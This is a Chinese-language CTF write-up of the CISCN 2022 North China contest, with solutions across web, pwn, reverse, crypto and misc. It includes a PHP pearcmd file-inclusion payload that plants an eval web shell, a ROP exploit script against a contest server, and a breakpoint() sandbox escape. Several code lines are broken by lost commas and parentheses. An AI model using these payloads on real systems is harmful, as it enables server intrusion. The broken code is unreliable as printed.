CISCN 2022 华北赛区 writeup by or4nge
2022-9-9 15:12:53 Author: 赛博安全社团(查看原文) 阅读量:27 收藏

CISCN 2022 North Writeup by or4nge
rank: 3rd & 8th
or4nge 的师傅们在第十五届全国大学生信息安全竞赛创新实践赛华北分区赛中奋战 8 小时,拿到了第 3 名和第 8 名的好成绩,师傅们真棒!

Web

include

p牛的PHP裸文件本地包含

1/index.php?+config-create+/&file=../../../../usr/local/lib/php/pearcmd&/<? eval($_POST[1]);?>+/tmp/hello.php

Pwn

very_old_school

神奇的gadget,老题,改read的got为write泄露地址,最后onegadget即可。

 1from pwn import *
2import sys
3context(os='linux', arch='amd64', log_level='debug')
4
5if len(sys.argv) < 2:
6    debug = True
7else:
8    debug = False
9
10if debug:
11    p = process("./very_old_school")
12    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
13else:
14    p = remote("39.104.61.18"5656)
15    libc = ELF('./libc-2.27.so')
16
17elf = ELF('./very_old_school')
18ru = lambda x : p.recvuntil(x)
19sn = lambda x : p.send(x)
20rl = lambda : p.recvline()
21sl = lambda x : p.sendline(x)
22rv = lambda x : p.recv(x)
23sa = lambda a,b : p.sendafter(a,b)
24sla = lambda a,b : p.sendlineafter(a, b)
25
26pop_all = 0x4005da 
27payload = b"a" * 0x40
28payload += p64(0xaaaaaaaa)
29payload += p64(pop_all)
30diff = libc.sym['write'] - libc.sym['read']
31# gdb.attach(p)
32# sleep(1)
33print(diff & 0xffffffffffffffff)
34payload += p64(diff & 0xffffffffffffffff)
35payload += p64(0x601020 + 0x3d)
36payload += b"\x00" * 8 * 4
37payload += p64(0x0000000000400518)
38payload += p64(0x00000000004005e3
39payload += p64(1
40payload += p64(0x00000000004005e1)
41payload += p64(elf.got['read'])
42payload += p64(0
43payload += p64(elf.plt['read'])
44payload += p64(pop_all)
45payload += p64((-diff) & 0xffffffffffffffff)
46payload += p64(0x0601020 + 0x3d)
47payload += b"\x00" * 8 * 4
48payload += p64(0x0000000000400518
49payload += p64(0x400450
50print(hex(len(payload)))
51sn(payload)
52write = u64(p.recv(6) + b'\x00' + b'\x00')
53libc_addr = write - libc.sym['write']
54log.info(hex(libc_addr))
55payload = b"A" * 0x40
56payload += p64(0xaaaaaaaa)
57payload += p64(libc_addr + 0x10a41c)
58sn(payload)
59p.interactive()

Rev

jsuck

js混淆

先对flag进行base64编码

然后asdlg()函数将字符串转为数组

iKdga()函数对每一位异或3

wrwg()函数将数组转回字符串

最后与已知字符串进行比较

求解脚本:

1import base64
2a = b"Yn{kY0wjNGJ1NyJ3ZyZ6NGQjNnF6Z1J3Zid7YGYhMiEiLGEhN[3>"
3flag = ''
4for i in a:
5    flag += chr(i ^ 3)
6
7print (base64.b64decode(flag))
8# b'flag{b026324c6904b2a9cb4b88d6d61c81d1}'

rtMaze

qemu,使用gdb调试,确认基地址为0x60010000,设置后ida可反编译

根据字符串找到核心逻辑在0x600117b0,传入的参数为此前迷宫中的输入内容

由于对其填充到了48个字符,猜测该迷宫需要反向跑:

1dddwwawwwwaasdsasawawdwaaasawassssdwdsddssasddw

加密部分如下

XTEA算法

将迷宫输入分为12个int,每次循环选取4个int作为key,进行XTEA加密

解密脚本:

 1#include <stdio.h>  
2#include <stdint.h>  
3
4void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {  
5    unsigned int i;  
6    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;  
7    for (i=0; i < num_rounds; i++) {  
8        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);  
9        sum -= delta;  
10        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);  
11    }  
12    v[0]=v0; v[1]=v1;  
13}  
14
15int main()  
16
{  
17    uint32_t v[10]={
18        0x9C51DE690xD8C793BF,
19        0x6346ACA4
20        0xF8D452EA
21        0xA54B10D5
22        0x2F8D8FC6
23        0xC702BB4D
24        0x4725858D
25        0x2B0AA099
26        0x1601D0A6
27        };  
28    uint32_t const k[12]={
29        0x77646464,
30        0x77776177,
31        0x61617777,
32        0x61736473,
33        0x61776173,
34        0x61776477,
35        0x61736161,
36        0x73736177,
37        0x77647373,
38        0x64647364,
39        0x73617373,
40        0x61776464
41    };
42    unsigned int r=32;
43    printf("加密后的数据:%u %u\n",v[0],v[1]);  
44    decipher(r, v, k);  
45    decipher(r, v + 2, k + 4);  
46    decipher(r, v + 4, k + 8);  
47    decipher(r, v + 6, k);  
48    decipher(r, v + 8, k + 4);
49    for (int i = 0; i < 40; i++)
50        printf("%c", *(((char*)v) + i));
51    printf("\n");
52    return 0;  
53}
54// d8550a7b7-d0a0d-4f37-b4abc0-0cf93eb3dfd4

Crypto

Diophantine

判断是对的,把9除下去解佩尔方程,写for循环提交即可

 1from pwn import *
2context(os='linux', arch='amd64', log_level='debug')
3p = remote("39.104.61.18"26726)
4import hashlib
5s = ''
6dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
7p.recvuntil("(str + ")
8md = p.recvuntil(")")[:-1].decode()
9print(md)
10p.recvuntil(" == ")
11ans = p.recvuntil("\n")[:-1].decode()
12print(ans)
13def mdd():
14    for a in dic:
15        for b in dic:
16            for c in dic:
17                for d in dic:
18                    t = str(a)+str(b)+str(c)+str(d)+md
19                    md5 = hashlib.md5(t.encode()).hexdigest()
20                # print(md5[:6])
21                    if md5[0:5] == ans:
22                        d =str(a)+str(b)+str(c)+str(d)
23                        p.sendline(d.encode())
24                        return
25
26mdd()
27
28p.sendline(b"y")
29p.sendline(b"y")
30
31f = open("./ans.txt""r")
32for l in f.read().split('\n'):
33    x,y=l.split(' ')
34    p.sendlineafter("x=",x)
35    p.sendlineafter("y=",y)
36    p.recvuntil("wer")
37
38p.interactive()

EasyRsa

根据题目信息得到h,由 ,后两者较小,可以通过爆破得出 r+s 和 r-s,从而得出 s 和 r,进而可以得出 ,解密得到 flag

 1from gmpy2 import iroot
2from Crypto.Util.number import long_to_bytes, inverse
3
4def get_rs(cur_rs, h, g):
5    rs = h - 2 * g * cur_rs
6    if rs < 0:
7        return False
8    if rs ** 2 - 4 * cur_rs < 0:
9        return False
10    delta = iroot(rs ** 2 - 4 * cur_rs, 2)
11    if not delta[1]:
12        return False
13    r = (rs - delta[0]) // 2
14    s = (rs + delta[0]) // 2
15    return r, s
16
17
18n=22674165844905158260176168026816552467096072570578600242128271855414019546269941158980926383539152088163386486594970550426095813309390851670596901239161501799287825141484239319817091651407345474982377372054888770936964124342265857312847156030175512996932047024846256128852364411361104881876499527373499676800838224118813206681739936743754500898092792230659202349749012386805859665056024946969736506105283735257152266921793786908302315016683954542458869766736987653476629282074870135677126618336504349609949843015699079901471850834309549434049741620451308935825225861067965105407242194092434593658617061001051261986003
19e=65537
20c=782836877747818842493334376192707959633875414421119864133181592744303451005021100252453573692816054585303366274224087420041284882899698447861322919543336259986718739329810516986508263800638169206422642491731816114864183191451497206767082965587155423396589137912838842875035557343464065904849661324493244122164082422461425238044593940586748674516957395798642524010290664115814930907318276984939283752745962807878377719292647500596944596051296807946807250542510019416661571456929182119445830050306376509177311647871578247060341177622456756501597305853248802782554576320613573685540342421823987333619169191892620415521
21g=1834423494494916216123441416584222421978972309717825906841264503350314600090174106582891343187567071177004232569276768024920547950940295765307910633287
22h = (n - 1) // (2 * g)
23cur_rs = h // (2 * g)
24
25while 1:
26    cur = get_rs(cur_rs, h, g)
27    if cur:
28        r, s = cur
29        rs = cur_rs
30        break
31    cur_rs -= 1
32
33phi = 4 * g ** 2 * rs
34d = inverse(e, phi)
35print(long_to_bytes(pow(c, d, n)))

Misc

the Kenoru's Arithmetic Classroom Revenge

help() 被 ban 了,发现存在类似的命令:breakpoint()

比赛中没截图,放一个本地的测试


文章来源: http://mp.weixin.qq.com/s?__biz=MzkyNDIyNTE0OQ==&mid=2247484169&idx=2&sn=6cf4f4453cb1ea230b4a440d9fd88281&chksm=c1d8581bf6afd10d97b96a0e13998f17aef09123c1b972ca2b7b6a062fc6cf30c25f9a1048bc#rd
如有侵权请联系:admin#unsafe.sh